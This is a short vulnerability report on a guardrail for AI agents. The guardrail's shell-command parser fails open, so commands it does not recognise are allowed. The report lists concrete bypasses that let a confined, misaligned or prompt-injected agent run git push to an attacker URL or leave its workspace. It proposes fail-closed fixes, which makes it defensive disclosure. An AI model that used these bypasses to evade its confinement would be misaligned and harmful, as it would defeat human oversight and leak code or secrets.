Omnigent Guardrail policy bypass: shell-command parser fails open in policies/builtins/_shell.py

The shared shell-command parser fails open. When a gated command spells something the parser doesn't recognize, it produces no operation, the policy evaluator returns None, and None = abstain = ALLOW. So any command the parser misses bypasses both the GitHub repo/branch allowlist and the working-directory confinement — the product's two core safety guarantees.

A misaligned or prompt-injected agent that is meant to be confined can:

• git push to an attacker-controlled repo (code / secret exfiltration),
• push to a protected branch,
• escape its workspace via git worktree add / git -C <other-dir>.

• Combined interpreter flags: bash -lc "git push <attacker-url>"
• Unlisted wrappers: timeout / nice / setsid / stdbuf … git push …
• Command substitution: x=$(git push <attacker-url>)
• Un-split background operator: true & git push <attacker-url>

Controls that correctly hold (confirming this is parser incompleteness, not an allowlist logic error): bare git push <attacker-url> and env git push … both DENY.

Make the gated surface fail closed:

1. An unrecognized gated command must DENY, not return None → ALLOW. Abstain on a security gate should resolve to deny, not allow.
2. Canonicalize known wrappers (timeout / nice / setsid / stdbuf / env) down to their inner command before evaluation.
3. Recurse into sh -c / bash -c payloads and command substitutions, and split on shell control operators (;, &, &&, ||, |) before judging each segment.